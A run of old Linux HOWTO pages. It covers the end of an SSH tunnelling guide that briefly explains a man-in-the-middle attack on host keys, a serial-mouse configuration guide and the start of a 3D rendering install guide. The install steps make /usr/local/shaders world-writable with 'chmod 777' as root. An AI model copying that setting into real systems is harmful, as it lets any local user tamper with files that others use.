When an ssh session starts, the public-keys are being sent over an insecure connection until the authentication process is established.. This allows a person to intercept an ssh session and place their own public key in the connection process. SSH is designed to warn the user if a public-key has changed from what exists in their known_host file. The warning that is given is quite noticeable and ssh will drop the connection if the public keys are different, but user's may still trust the certificate because they may think that their company has changed the server's public key. This kind of attack isn't difficult because the dsniff package mentioned earlier contains the tools to perform it. This attack is more commonly called a "man-in-the-middle attack" (The End of SSL and SSH).

A temporary and easy fix for this is to first teach the user's how to recognize the signs that the host key has changed and what to do to get the proper host(s) public key. Second, post the public key for the ssh server(s) on a website, ftp server, or distribute it some other way so that users have access to it at all times.

Prev | Home | Next
MindTerm over the web |  | Conclusion


Software Installation

Encrypted Tunnels using SSH and MindTerm HOWTO
Prev Next

3. Software Installation

In order to follow along with this tutorial you will have to install a few packages. This tutorial assumes you have ssh already installed on your server or workstation. If not then you can read the documentation that comes with the ssh or the OpenSSH package for installation instructions for your platform. For the examples that follow, OpenSSH was installed on a RedHat 7.0 server and workstation. OpenSSH was installed on RedHat 6.0- 7.0 and worked the same. The client machine used in the following tutorial is a Windows 2000 machine. Windows 95/98, NT 4.0, NT 5.0, RedHat 6.0-7.0 workstation were all tested as client machines and worked the same. On a side note, the exact same MindTerm jar archive was used on all client systems tested.

  • SSH or Openssh

  • MindTerm

  • FTP Client - Any ftp client should work for this tutorial. Ws-FTP and Leech-ftp are the two most popular for Windows.

  • Netscape Communicator - or any other mail client should work.

  • Optional: NTOP

  • Optional: vlock

Prev | Home | Next
Before we start |  | Server and Client Configurations


The 3 Button Serial Mouse mini-HOWTO

Geoff Short, geoff@kipper.york.ac.uk

v1.33, 31 May 1998

How to get a 3 button serial mouse working properly under Linux.

1. Disclaimer

2. Introduction

3. Serial Ports

4. Switched Mice

5. Normal Mice

6. Switching a Mouse to 3-Button Mode

7. Wheeled mice

8. Using gpm to Switch Mouse Modes

9. Using two mice

10. XF86Config and Xconfig file examples

11. Cables, extensions and adaptors

12. Miscellaneous Problems and Setups

13. Models Tested

14. Further Information

15. Mouse Tail


The 3 Button Serial Mouse mini-HOWTO: Disclaimer

 Next Previous Contents

1. Disclaimer

The following document is offered in good faith as comprising only safe programming and procedures. No responsibility is accepted by the author for any loss or damage caused in any way to any person or equipment, as a direct or indirect consequence of following these instructions.


The 3 Button Serial Mouse mini-HOWTO: Introduction

 Next Previous Contents

2. Introduction

The most recent version of this document can always be found at http://kipper.york.ac.uk/mouse.html

There is a Japanese translation at http://jf.gee.kyoto-u.ac.jp/JF/JF-ftp/euc/3-Button-Mouse.euc; and a French one at http://www.freenix.fr/linux/HOWTO/mini/3-Button-Mouse.html. Other translations may be available - check your local LDP mirrors.

Most X applications are written with the assumption that the user will be working with a 3 button mouse. Serial mice are commonly used on computers and are cheap to buy. Many of these mice have 3 buttons and claim to use the Microsoft protocol, which in theory means they are ideal for the X windows setup. (The record for the cheapest working 3 button mouse currently stands at $1.14!)

Most dual-protocol mice will work in two modes:

  • 2-button Microsoft mode.
  • 3-button MouseSystems mode.
This document leads you through the different steps needed to configure your mouse in these two different modes, especially the steps needed to use the more useful 3-button mode.

As distributions become easier to set up, some of the problems ought to go away. For instance, RedHat have a mouseconfig program to set things up for you. However, some versions of RH5.0 had a bug in mouseconfig, so make sure you check for patches.


The 3 Button Serial Mouse mini-HOWTO: Serial Ports

 Next Previous Contents

3. Serial Ports

The first thing to do is to make sure the software can find the mouse. Work out which serial port your mouse is connected to - usually this will be /dev/ttyS0 (COM1 under DOS) or /dev/ttyS1 (COM2). (ttyS0 is usually the 9 pin socket, ttyS1 the 25 pin socket, but of course there is no hard and fast rule about these things.) There are also an equivalent number of /dev/cua devices, which are almost the same as the ttyS ones, but their use is now discouraged. For convenience make a new link /dev/mouse pointing at this port. For instance, for ttyS0:

ln -s /dev/ttyS0 /dev/mouse


The 3 Button Serial Mouse mini-HOWTO: Switched Mice

 Next Previous Contents

4. Switched Mice

Some mice, not usually the cheapest ones, have a switch on the bottom marked `2/3'. Sometimes this may be `PC/MS'. In this case the `2' setting is for 2 button Microsoft mode, and the `3' for 3 button MouseSystems mode. The `PC/MS' switch is a bit more complicated. You will probably find the `MS' setting is for Microsoft, and the `PC' is for MouseSystems. You may find the `PC' setting described as ps/2 mode, but it should do MouseSystems as well. If you have such a mouse, you can switch the switch to `3' or `PC', put the MouseSystems settings in your XConfigs (see below) and the mouse should work perfectly in 3-button mode.


The 3 Button Serial Mouse mini-HOWTO: Normal Mice

 Next Previous Contents

5. Normal Mice

If you don't have any switches, and no instructions, then a little bit of experimentation is needed. The first thing to try is to assume the mouse maker is telling the truth, and the mouse is full Microsoft. Set up your Xconfigs to expect a Microsoft mouse (see the Xconfig section) and give it a try.

If the mouse didn't work at all, then you don't have a Microsoft mouse, or there is some other problem. Try the other protocols in the configs, the man page for the config file is the best place to start looking. Also look in the Miscellaneous Problems section below.

What you will probably find is that when you run X, the mouse works fine but only the outer two buttons do anything. You can of course accept this, and emulate the third button (press both buttons at once to click the middle one) like you do with a two button mouse. To do this, change your Xconfig file as shown in the Xconfig example section below. This may mean you have bought a 3 button mouse for no good reason, and you are certainly no further forward. So, now you need to look at your hardware.


The 3 Button Serial Mouse mini-HOWTO: Switching a Mouse to 3-Button Mode

 Next Previous Contents

6. Switching a Mouse to 3-Button Mode

Even cheap mice can also work under the Mouse Systems protocol, with all three buttons working. The trick is to get the mouse to think it's a Mouse Systems one, something you rarely see in your instructions.

  • Before you power up your computer, hold down the left mouse button (and keep it held down until it has booted to be on the safe side).

When the mouse first gets power, if the left button is held down it switches into Mouse Systems mode. A simple fact, but not always publicised. Note that a soft reboot of your computer may not cut the mouse power and therefore may not work. There are a number of other ways of switching the mode, which may or may not work with your particular mouse. Some of these are less drastic than rebooting your computer, two are more so!

  • If your computer is get-at-able you can unplug the mouse and plug it back in with the button held down (although you shouldn't normally plug things in to a live computer, the RS232 spec says it is OK).
  • You may be able to reset the mouse by typing echo "*n" > /dev/mouse, which should have the same effect as unplugging it. Hold the left button down for Mouse Systems mode, not for Microsoft. You could put this in whatever script you use to start X up.
  • Bob Nichols (rnichols@interaccess.com) has written a small c program to do the same thing, which may work if echo "*n" does not (and vice versa). You can find a copy of his source code at http://kipper.york.ac.uk/src/fix-mouse.c
  • Someone has reported that the `ClearDTR' line in the Xconfig is enough to switch their mouse into Mouse Systems mode.
  • If you are brave enough, open the mouse up (remember that this will invalidate your warranty) and have a look inside. In some cases, the mouse may have a switch inside, for some strange reason known only to the manufacturer. More likely on the cheap mice is a jumper which you can move. The switch or jumper may have the same effect as a `MS/PC' switch described in the Switched Mice section above. You may find that the circuit board is designed for a switch between 2 & 3 buttons, but it hasn't been fitted. It will look something like:
             -----------
        | o | o | o |  SW1
         -----------
          1   2   3
    Try linking pins 1-2 or 2-3, and see if it changes the behaviour of the mouse. If it does, you can either fit a small switch, or solder across the contacts for a quick and permanent solution.
  • Another soldering solution which might be a last-resort for mice which don't understand MouseSystems at all, from Peter Benie ( pjb1008@chiark.chu.cam.ac.uk). If the middle button's switch is double-pole, connect one side of the switch to the left button's switch, and the other side to right button's switch. If it's not a double pole switch then use diodes rather than wire. Now, the middle button pushes the left and right buttons down together. Select ChordMiddle in the XF86Config and you have a working middle button.
  • The ultimate recourse with the soldering iron was first described to me by Brian Craft ( bcboy@pyramid.bio.brandeis.edu). Two common generic mouse chips are the 16 pin Z8350, and the 18 pin HM8350A. On each of these chips, one pin controls the mode of the chip, as follows.
    Pin 3   Mode
-----   ----
Open    Default Microsoft. Mouse Systems if a button is held on power-up.
GND     Always Mouse Systems.
Vdd     Always Microsoft.
    (Pins are numbered as follows:)
            ____
pin1  -| \/ |-
pin2  -|    |-
pin3  -|    |-
      -|    |-
      -|    |-
      -|    |-
      -|    |-
pin8  -|____|-
    (This info comes courtesy of Hans-Christoph Wirth, and Juergen Exner, who posted it to de.comp.os.linux.hardware) You can solder a link between pin 3 and gnd, which will fix the mouse into MouseSystems mode.

    • Peter Fredriksson ( peterf@lysator.liu.se) has tried the SYSGRATION SYS2005 chip, and found that linking Pin 3 to Gnd forced Mouse System mode.
    • Uli Drescher ( ud@digi.ruhr.de) confirms it works on an HN8348A chip; Ben Ketcham ( bketcham@anvilite.murkworks.net) confirms the HM8348A (Pin 9 is Gnd).
    • Urban Widmark ( ubbe@ts.umu.se) says the same applies to the EC3567A1 chip, where Pin 8 is ground. I've tried it as well and it works fine.
    • Timo T Metsala ( metsala@cc.helsinki.fi) has found that on the HT6510A chip pin 3 is mode select, pin 9 is Gnd. The same works for the HT6513A chip. Holtek also make HT6513B and HT6513F chips - on these, pin 8 is Gnd.
    • Robert Romanowski ( robin@cs.tu-berlin.de) says pin 3 - pin 8 (Gnd) works on an EM83701BP chip too.
    • Robert Kaiser ( rkaiser@sysgo.de) confirms that pin 3 - Gnd works on a EC3576A1 chip too.
    • Sean Cross ( secross@whidbey.com) found it was pin 2 - pin 7 (Gnd) on a HM8370GP chip.
    • Peter Fox ( fox@roestock.demon.co.uk) used pin 3 - pin 8 on a HM8348A chip.
    • Jon Klein ( jbklein@mindspring.com) found pin 3 - pin 9 did the trick for a UA5212S chip.
  • As an alternative to the above soldering methods, you can get the mouse to hold it's own button down when booting: this circuit from Mathias Katzer.
             -----
      ---  R  ---------O------ + Supply
     |   -----   |        |                     C = 100nF capacitor
     |           | E      |                     R = 100kOhm
     |       __ /         |                     T = BC557 transistor
     |      /  \          O
     |   B | #V | T         /
     |-----|-#  |          /   Left button switch of the mouse
     |     | #\ |         O
     |      \__/          |
    ---         \  C      |
    --- C        ------O----------> (to somewhere deep inside the mouse)
     |
    ###  Ground
    The test mouse was a no-name model MUS2S - whether this works in other mice depends on the circuit of the mouse; if the switch is connected to ground and not to +Supply, an npn-transistor like the BC547 should work; R and C have to be swapped then, too.

So there you have it, the choice is yours. Stick with the default Microsoft two buttons, or work out how to switch the mode and set X up to take advantage of this.


The 3 Button Serial Mouse mini-HOWTO: Wheeled mice

 Next Previous Contents

7. Wheeled mice

Mice with wheels have emerged in the last few years, starting with the Microsoft Intellimouse and spreading to other manufacturers. The wheel can be clicked like a button, or rolled up and down. Far and away the best reference for information is http://www.inria.fr/koala/colas/mouse-wheel-scroll/ which describes how to get lots of X applications to recognise the scrolling action.

In general, you'll need a fairly new Xserver to use the scrolling action, but some older servers will recognise the clicking actions. For instance, the Intellimouse is supported by XFree 3.3.1 and later.


The 3 Button Serial Mouse mini-HOWTO: Using gpm to Switch Mouse Modes

 Next Previous Contents

8. Using gpm to Switch Mouse Modes

gpm is the program that lets you use the mouse in console mode. It is usually included in linux distributions, and can be started from the command line or in the startup script /etc/rc.d/rc.local. Note that distributions don't always have the most recent version (1.13 at time of writing) which can be found on mirrors of sunsite.unc.edu.

The main modes for serial mice under gpm are:

gpm -t ms
gpm -t msc
gpm -t help

for Microsoft or MouseSystems modes, or to probe the mouse for you and tell you what it found. To run gpm in MouseSystems mode, you may need a -3 flag, and possibly a DTR option, using the -o dtr flag:

gpm -3 -o dtr -t msc

gpm is often able to recognise all three buttons of the mouse even in Microsoft mode. And newer versions (Version 1.0 and later (?)) can then make this information available to other programs. For this to work, you need to run gpm with the -R tag, like this:

gpm -R -t ms
This will make gpm re-export the mouse data to a new device, called /dev/gpmdata, which looks like a mouse to any other program. Note that this device always uses the MouseSystems protocol. You can then set your Xconfig to use this instead of /dev/mouse as shown below, but of course you must ensure gpm is always running when you use X. Some people have reported that some middle-button events are not correctly interpreted by X using this technique, this may be down to an individual mouse setup.

Changing button mapping for gpm and X ( gustafso@math.utah.edu)

You may find that gpm uses different default button mappings to X, so using both systems on the same machine can be confusing. To make X use the same buttons for select and paste operations as gpm, use the X command

xmodmap -e "pointer = 1 3 2"
which causes the left button to select and the right button to paste, for either 2-button or 3-button mice. To force gpm to use the X standard button mapping, start it with a -B command, eg:
gpm -t msc -B 132


The 3 Button Serial Mouse mini-HOWTO: Using two mice

 Next Previous Contents

9. Using two mice

In some cases, for instance a laptop with a built-in pointing device, you may wish to use a serial mouse as a second device. In most cases the built-in device uses the PS/2 protocol, and can be ignored if you don't wish to use it. Simply configure gpm or X to use /dev/ttyS0 (or whatever) as usual.

To use both at once, you can use gpm -M to re-export the devices. More details in the gpm man page. Also, XFree 3.3.1 and later support muliple input devices, using the XInput mechanism. Auto-generated XF86Config files should have the necessary comments in them.


The 3 Button Serial Mouse mini-HOWTO: XF86Config and Xconfig file examples

 Next Previous Contents

10. XF86Config and Xconfig file examples

The location of your configuration file for X depends on the particular release and distribution you have. It will probably be either /etc/Xconfig, /etc/XF86Config or /usr/X11/lib/X11/XF86Config. You should see which one it is when you start X - it will be echoed to the screen before all the options are displayed. The syntax is slightly different between the XF86Config and Xconfig files, so both are given.

Microsoft Serial Mouse

  • XF86config:
    Section "Pointer"
    Protocol "microsoft"
    Device "/dev/mouse"
EndSection
  • Xconfig:
    #
# Mouse definition and related parameters
#
Microsoft      "/dev/mouse"

Microsoft Serial Mouse with Three Button Emulation

  • XF86config:
    Section "Pointer"
    Protocol "microsoft"
    Device "/dev/mouse"
    Emulate3Buttons
EndSection
  • Xconfig:
    #
# Mouse definition and related parameters
#
Microsoft      "/dev/mouse"
Emulate3Buttons

MouseSystems Three Button Serial Mouse

  • XF86config:
    Section "Pointer"
    Protocol "mousesystems"
    Device "/dev/mouse"
    ClearDTR            #  These two lines probably won't be needed,
    ClearRTS            #  try without first and then just the DTR
EndSection
  • Xconfig:
    #
# Mouse definition and related parameters
#
MouseSystems    "/dev/mouse"
ClearDTR                #  These two lines probably won't be needed,
ClearRTS                #  try without first and then just the DTR

Microsoft Serial Mouse with gpm -R

  • XF86config:
    Section "Pointer"
    Protocol "MouseSystems"
    Device "/dev/gpmdata"
EndSection
  • Xconfig:
    #
# Mouse definition and related parameters
#
MouseSystems      "/dev/gpmdata"


The 3 Button Serial Mouse mini-HOWTO: Cables, extensions and adaptors

 Next Previous Contents

11. Cables, extensions and adaptors

The only wires needed in a mouse cable are as follows: TxD and RxD for data transfer, RTS and/or DTR for power sources, and ground. Translated into pin numbers, they are:

            9-pin port     25-pin port
        TxD     3                2
        RxD     2                3
        RTS     7                4
        DTR     4               20
        Gnd     5                7

The above table may be of use if you wish to make adaptors between 9- and 25-pin plugs, or extension cables.


The 3 Button Serial Mouse mini-HOWTO: Miscellaneous Problems and Setups

 Next Previous Contents

12. Miscellaneous Problems and Setups

  • If you have trouble with your mouse in X or console mode, check you are not running a getty on the serial line, or anything else such as a modem for that matter. Also check for IRQ conflicts.
  • It is possible that you need to hold down the left button when booting X windows. Some systems may send some sort of signal or spike to the mouse when X starts.
  • Problems with serial devices may be due to the serial port not being initialised correctly at boot. This is done by the setserial command, run from the start-up script /etc/rc.d/rc.serial. Check the man page for setserial and the Serial-HOWTO for more details. It may be worth a little experimentation with types, for instance try setserial /dev/mouse uart 16550 or 16550a regardless of what port you actually have. (For instance, mice don't like the 16c550AF).
  • The ClearDTR flag may not work properly on some systems, unless you disable the RTS/CTS handshaking with the command:
    stty -crtscts < /dev/mouse
    (Tested on UART 16450/Pentium by Vladimir Geogjaev geogjaev@wave.sio.rssi.ru)
  • Logitech mice may require the line ChordMiddle to enable the middle of the three buttons to work. This line replaces Emulate3Buttons or goes after the /dev/mouse line in the config file. You may well need the ClearDTR and ClearRTS lines in your Xconfig. Some Logitech mice positively do not need the ChordMiddle line - one symptom of this problem is that menus seem to move with the mouse instead of scrolling down. (From: chang@platform.com)
  • Swapping buttons: use the xmodmap command to change which physical button registers as each mouse click. eg: xmodmap -e "pointer = 3 2 1" will turn round the buttons for use in the left hand. If you only have a two-button mouse then it's just numbers 1 & 2.
  • Acceleration: use the xset m command to change the mouse settings. eg xset m 2 will set the acceleration to 2. Look at the manpage for full details.
  • Pointer offset: If the click action appears to be coming from the left or right of where the cursor is, it may be that your screen is not aligned. This is a problem with the S3 driver, which you may be able to fix using xvidtune. Try Invert_VCLK/InvertVCLK, or EarlySC. This info from Bill Lavender ( lavender@MCS.COM) and Simon Hargrave. In the XF86Config, it might look like this:

    Subsection "Display"
    Modes       "1024x768" "800x600" "640x480" "1280x1024"
    Invert_VCLK "*" 1
    ...
  • If you are getting `bouncing' of the mouse buttons, ie two clicks when you only wanted one, there may be something wrong with the mouse. This problem has been solved for Logitech mice by Bob Nichols ( rnichols@interaccess.com) and involves soldering some resistors and a chip in the mouse to debounce the microswitches.
  • If some users cannot get the mouse to work but some (eg root) can, it is possible that the users are not running exactly the same thing - for instance a different version of X or a different Xconfig. Check the X start-up messages carefully to make sure.
  • If you find the mouse pointer is erasing things from your screen, you have a server config problem. Try adding the option linear, or maybe nolinear to the graphics card section, or if it is a PCI board, the options tgui_pci_write_off and tgui_pci_read_off. (This seems to be a Trident Card problem.)
  • If the mouse cursor doesn't show up on the screen, but otherwise seems to be working, try the option "sw_cursor" in the Device section of the config file.
  • If your mouse stops working when its sunny or when you turn a light on, it may be that the sensors are being swamped by light getting through the case. You could try painting the inside of the case black, or putting some card in the top.
  • Microsoft Brand mice are often a cause of problems. The newest ``Microsoft Serial Mouse 2.1A'' has been reported not to work on many systems, although unplugging it and plugging it in again may help. gpm version 1.13 and higher should also support 2.1A mice, using the pnp mouse type. (See the gpm section for how to re-export this.) The ``Microsoft Intellimouse'' also causes problems, although it should now be supported by XFree version 3.3 and later.


The 3 Button Serial Mouse mini-HOWTO: Models Tested

 Next Previous Contents

13. Models Tested

There are a lot of different mice out there, and I cannot honestly say that you should go out and buy one rather than the other. What I can do is give a list of what I think these mice do, based on experience and heresay. Even with this information you should be a little cautious - we had two identical mice in our office on two computers, some things worked on one and not t'other! Any additions to this list would be welcome.

Mouse Systems optical mouse, serial version
Works well (as you might expect from the name!) without ClearDTR or ClearRTS in the config.
WiN mouse, as sold by Office World for eight quid.
Standard dual-mode Microsoft/MouseSystems.
Agiler Mouse 2900
Standard dual-mode Microsoft/MouseSystems. SYSGRATION SYS2005 chip is solderable.
Sicos mouse,
Works ok, needs ClearDTR & Clear RTS in config.
Index sell a mouse for 10 quid,
Doesn't work in 3 button mode, but does have nice instructions :-)
Artec mouse
Usual dual-protocol mouse, needs `ClearDTR' set in config, NOT `ClearRTS'
DynaPoint 3 button serial mouse.
Usual dual-protocol mouse, needs `ClearDTR' AND `ClearRTS' in Xconfig.
Genius Easymouse 3 button mouse
Works fine with Mouseman protocol without the ChordMiddle parameter set. From Roderick Johnstone ( rmj@ast.cam.ac.uk)
Truemouse, made in Taiwan
Works OK, needs `ClearDTR' in config. (From Tim MacEachern)
Champ brand mouse
Needs to have switch in PC mode, which enables MouseSystems protocol also. (From tnugent@gucis.cit.gu.edu.au)
MicroSpeed mouse
Usual dual-protocol mouse.
Venus brand ($7)
Has a jumper inside to switch between 2 and 3 button mode. (From mhoward@mth.com )
Saturn
Switched mouse, works OK as MouseSystems in 3-button position. (From grant@oj.rsmas.miami.edu .)
Manhattan mouse.
Switch for `MS AM' / `PC AT' modes, MS mode works fine with the gpm -R method. (From komanec@umel.fee.vutbr.cz).
Inland mouse.
Switch for `PC/MS' modes, works fine. (From http://ptsg.eecs.berkeley.edu/~venkates).
qMouse (3-button), FCC ID E6qmouse X31.
Sells in the USA for about $10. Works with `gpm -t msc -r 20'. No jumpers or switches for MouseSystems 3-button mode. Unreliable in X. Does not respond to echo "*n" > /dev/mouse.
Mitsumi Mouse (2-button), FCC ID EW4ECM-S3101.
Sells in the USA for about $12. Reliable in X and under gpm, smooth double-button. (These two from gustafso@math.utah.edu)
PC Accessories mouse that i got from CompUSA for under $10.
Has PC/MS switch on bottom. Works OK. (From steveb@communique.net)
First Mouse - seriously cheap at 7.79 pounds at Tempo.
Dual Microsoft/MouseSystems, mode set by button depress at power-up. No switches, no links. Four wire connection, echo '*n' doesn't work. `gpm -R' works a treat. (From peterk@henhouse.demon.co.uk)
Trust 3-button mouse.
Dual-mode with switch, works OK as MouseSystems in `PC' mode. gpm doesn't like the Microsoft mode.
Chic 410
Works perfectly when kept in ms mode and used with the gpm -R command. From Stephen M. Weiss ( steve@esc.ie.lehigh.edu)
KeyMouse 3-button mouse.
Works OK with ClearDTR and ClearRTS in Xconfig; `-o dtr' needed with gpm. (From EZ4PHIL@aol.com)
Qtronix keyboard `Scorpio 60'
All three buttons work in MouseSystems protocol. (From hwe@uebemc.siemens.de)
Tecra 720 laptop
The glidepoint is on /dev/cua0; the stick is on /dev/psaux. (From apollo@anl.gov)
Anubis mouse
Works fine, need to hold down left button whenever switching to the X virtual console. (From Joel Crisp)
Yakumo No.1900 mouse
Works with gpm -R -t ms exporting to X. (From Oliver Schwank)
Genius `Easy Trak' Trackball
Is not Microsoft compatible, use Mouseman in the Xconfig and it will work fine. (From VTanger@aol.com.)
Highscreen Mouse Pro
`Works fine' says alfonso@univaq.it.
Logitech CA series
Works in X using MMseries protocol, at 2400 Baud, 150 SampleRate. (Should also apply to Logitech CC, CE, C7 & C9 mice). (From vkochend@nyx.net.)
A4-Tech mouse
Works OK, needs DTR line under both X and gpm. (From deane@gooroos.com)
Vertech mouse
Normal Microsoft/Mousesystems behaviour, can be soldered for a permenant fix. (From duncan@fs3.ph.man.ac.uk.)
Boeder M-7 ``Bit Star'' (and other M series apart from M13)
Switches to Mousesystems protocol by holding any button down at power-on. (From mailto:sjt@tappin.force9.co.uk.)
Mouse Systems ``Scroll'' Mouse (four buttons and a roller/button)
Has a 2/3 switch - in mode 3 functions as a three button MouseSystems mouse, ignoring extra button & wheel. Doesn't need ClearRTS/DTR. (From parker1@airmail.net.)
Radio Shack 3-button Serial Mouse
Model 26-8432, available in Tandy for about 20 quid. Works as Mousesystems with ClearDTR. (From Sherilyn@sidaway.demon.co.uk.)
Dexxa serial mouse
Works fine using Microsoft protocol in Xconfig, no ChordMiddle or anything needed. (From mailto:slevy@ncsa.uiuc.edu.)
Belkin 3 button mouse
As purchased from Sears (\$10), needs -o rts under gpm (and probably ClearRTS under X) when in PC mode. (From mailto:mmicek@csz.com.)


The 3 Button Serial Mouse mini-HOWTO: Further Information

 Next Previous Contents

14. Further Information

  • Mouse Systems has a web site at http://www.mousesystems.com/. They have a Windows driver if you need one.
  • The Linux Serial HOWTO is available from mirrors of sunsite around the world. If you don't know where your nearest mirror is, start at http://sunsite.unc.edu/mdw/linux.html
  • There is a very good explanation of how mice work at http://www.4QD.co.uk/faq/meece.html.
  • Fuller details of the Xconfig and XF86Config files are found on the relevant man pages, and in the documentation about installing X windows such as the Xfree86 HOWTO. Also, see the XFree86 FAQ at a mirror of http://www.XFree86.org/.
  • Information about gpm can be found on the man page, also try the web page of Darin Ernst at http://www.castle.net/X-notebook/mouse.txt.
  • Lots of information on mice hardware and software can be found at http://www.hut.fi/Misc/Electronics/pc/interface.html#mouse


The 3 Button Serial Mouse mini-HOWTO: Mouse Tail

 Next Previous Contents

15. Mouse Tail

Much of the information for this document has been trawled from the various linux newsgroups. I am sorry I did not keep a record of everyone who has indirectly contributed by this route, thank you all very much.

So, to sum up:

  • Even cheap 3 button Microsoft mice can be made to work.
  • Configure your copy of X to expect a Mouse Systems mouse.
  • Hold down the left button at power-on to switch the mouse to MouseSystems mode.
  • You might need to hold the left button down when starting X.
  • Mice are more intelligent than you think.


3D Graphics Modelling and Rendering mini-HOWTO

Dave Jarvis

v1.1, 27 March 2001

Details download and installation instructions for a graphics rendering and modelling development environment using RedHat Linux.

1. Introduction

  • 1.1 Preamble
  • 1.2 Modelling vs. Modeling
  • 1.3 Copyright Information

2. Background Information

  • 2.1 The Graphics Library
  • 2.2 The Graphics Modeller
  • 2.3 The Graphics Renderer

3. Installation Instructions

  • 3.1 Warning
  • 3.2 Download the Software
  • 3.3 Install the Graphics Library
  • 3.4 Install the Graphics Renderer
  • 3.5 Install the Graphics Modeller
  • 3.6 Clean Up

4. Miscellaneous Information

  • 4.1 Lighting
  • 4.2 Tutorials

5. Related Links

  • 5.1 Graphics Libraries
  • 5.2 Graphics Renderers
  • 5.3 Graphics Modellers
  • 5.4 Miscellaneous Links

6. Acknowledgements


3D Graphics Modelling and Rendering mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Preamble

This document will guide you through the steps used to install and configure an environment for modelling and rendering three-dimensional graphics using Linux. In this section you will also find information in laymans terms about the required components and how they piece together. The installation section is purposely minimal; merely the quick and dirty steps needed to take to get up and running (if it doesn't work, more information is available). For those that want more information about the software components and what they do (in general), please continue reading.

There are, at the minimum, three software packages you'll need in order to get up and running. These are as follows (in the order they are explained, not the order they are installed):

  • a graphics library;
  • a graphics modeller;
  • a graphics renderer.

1.2 Modelling vs. Modeling

The spelling modelling is Canadian. The spelling modeling is American. The original author of this document is Canadian. ;-)

1.3 Copyright Information

Copyright © 2000-2001 Dave Jarvis

This document may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • the copyright notice above and this permission notice must be preserved complete on all complete or partial copies;
  • any translation or derived work must be approved by the author in writing before distribution;
  • if you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided;
  • small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given.


3D Graphics Modelling and Rendering mini-HOWTO: Background Information

 Next Previous Contents

2. Background Information

The content of this section exists only to describe, in general, the three main components required for three-dimensional modelling and rendering with a Linux-based system.

2.1 The Graphics Library

A graphics library consists of the most basic tools used for manipulating graphical images. Think of all the things needed to build a house: wiring, plumbing, wood, bricks, and such. The graphics library can be thought of as not these items, but rather the tools used create such items. After all, wire, metal tubes, planks, and bricks don't magically appear; rather they are created and formed as entities unto themselves. On a similar note, graphics don't magically appear on the screen -- typically they consist of lower-level graphics primatives (lines, rectangles, and individual pixels, for example).

So the graphics library, then, can be thought of as the low-level graphics primatives used to build more complex objects (spheres, boxes, complex polygons, etc.). Those complex objects are then used to build even more complicated shapes and figures.

The graphics library installed was the freeware implementation of OpenGL called Mesa.

2.2 The Graphics Modeller

Since the graphics renderer is, ideally, completely hidden from the end-user, we'll deal with that last (besides which, modelling is the next logical step in keeping with my house-building analogy). However, when it comes to the actual installation, a graphics modeller relies on the renderer already being installed.

If the graphics library is akin to the tools used to build the tools used to build a house (!), then graphics modellers can be thought of as the tools used to build the blueprints for the house -- sophisticated blueprints, as modellers let you dictate exactly where the wiring, plumbing, wood panels, bricks, and forth are supposed to go. Furthermore, they let you pick the style of panelling and the colour of the bricks you desire.

The graphics modeller installed was the freeware package called The Mops, which produces RenderMan-compatible files.

2.3 The Graphics Renderer

In keeping with the house-building analogy, the graphics renderer is then the construction workers. Once you have the blueprints and materials ready to go, you need something to actually build the house so it appears how it was designed. The graphics renderer is given information (i.e., the blueprints in the form of a RenderMan-compatible file, or equivalent) from the the modeller to produce the final result.

Just as the graphics modeller needs the graphics renderer before it can be installed, the renderer relies on the graphics library being installed beforehand.

The graphics renderer installed was the Blue Moon Rendering Toolkit which uses RenderMan files.


3D Graphics Modelling and Rendering mini-HOWTO: Installation Instructions

 Next Previous Contents

3. Installation Instructions

Keep in mind that these are brief instructions; a quick summary of the more important details you'll find listed in README files for the corresponding software packages. It is, by no means, a substitute for actually reading those files (as they contain copyright information and other instructions not necessarily covered by this document).

3.1 Warning

First, let it be known that this document only covers how to get up and running using RedHat v7.0. Whenever given the choice as to which software package to download, please make sure it is compatible with the flavour of Linux you happen to be running.

Second, please only send E-mail if you have information that would be helpful to other people who might read this document (such as explaining how to install other tools, pointers to other tutorials, missing steps grammar and/or speling mistakes and/or tpyos, etc.). If software doesn't compile, or you can't figure it out, please read its accompanying documentation. Please understand that your system may be completely different, and as such debugging problems via E-mail across the Internet is not a task anyone enjoys. ;-)

Third, these are software packages that installed without any severe hitches (read: severe headaches). In the Related Links section, there are alternate software packages along side the ones covered below. Note that just because a given software package is not covered in depth does not mean it is any worse (or better) than those chosen to install.

Good luck!

3.2 Download the Software

Before you begin, you will need a web browser and Unix shell. If you don't know how to use a shell [bash, ksh, etc.], you're own your own (although instructions are given in both English and shell commands).

Unless otherwise specified, all instructions are to be carried out as root.

  1. Create a new directory /usr/local/archives for the packages:
    mkdir /usr/local/archives
  2. Download the following packages (in .tar.gz form) into the newly created directory (homepages are given, as well as links to download pages, and minimum software version):
    • Mesa Graphics Library v3.4.1: www.mesa3d.org/download.html
    • Blue Moon Rendering Toolkit v2.6beta: www.bmrt.org/BMRTdownload/index.html
    • The Mops v0.42d: www.informatik.uni-rostock.de/~rschultz/mops/download.html

3.3 Install the Graphics Library

Old versions of tar do not support the z argument. For those systems, leave out the z argument and use gunzip on the file before using tar.

  1. Change to the /usr/local/archives directory:
    cd /usr/local/archives
  2. Extract Mesa (substitute version number where required):
    tar zxf MesaLib-3.4.1.tar.gz
tar zxf MesaDemos-3.4.1.tar.gz
  3. Change to the MesaLib subdirectory:
    cd Mesa-3.4.1
  4. Configure, make, and install Mesa with the following sequence of commands:
    ./configure; make; make install
  5. Edit /etc/ld.so.conf, and ensure you have a line that reads:
    /usr/local/lib
  6. Run the dynamic library configuration program:
    ldconfig

3.4 Install the Graphics Renderer

  1. Return to the /usr/local/archives directory:
    cd ..
  2. Extract the Blue Moon Rendering Toolkit (substitute version number where required):
    tar zxf BMRT2.6beta.linux-glibc2.tar.gz
  3. Change to the BMRT subdirectory:
    cd BMRT2.6
  4. Copy files to appropriate destination directories:
    cp bin/* /usr/local/bin/
cp lib/lib* /usr/local/lib/
cp include/* /usr/local/include/
  5. Make a directory for the shaders, ensure it is world-writable, then copy the shader files into it:
    mkdir /usr/local/shaders
chmod 777 /usr/local/shaders
cp shaders/*.sl* /usr/local/shaders/
cp shaders/*.h /usr/local/shaders/
cp examples/*.sl* /usr/local/shaders/
cp examples/*.h /usr/local/shaders/
  6. Edit the system login profile (/etc/profile or equivalent), and add the line:
    export SHADERS=.:/usr/local/shaders
  7. Copy the .rendribrc file to each user's home directory.

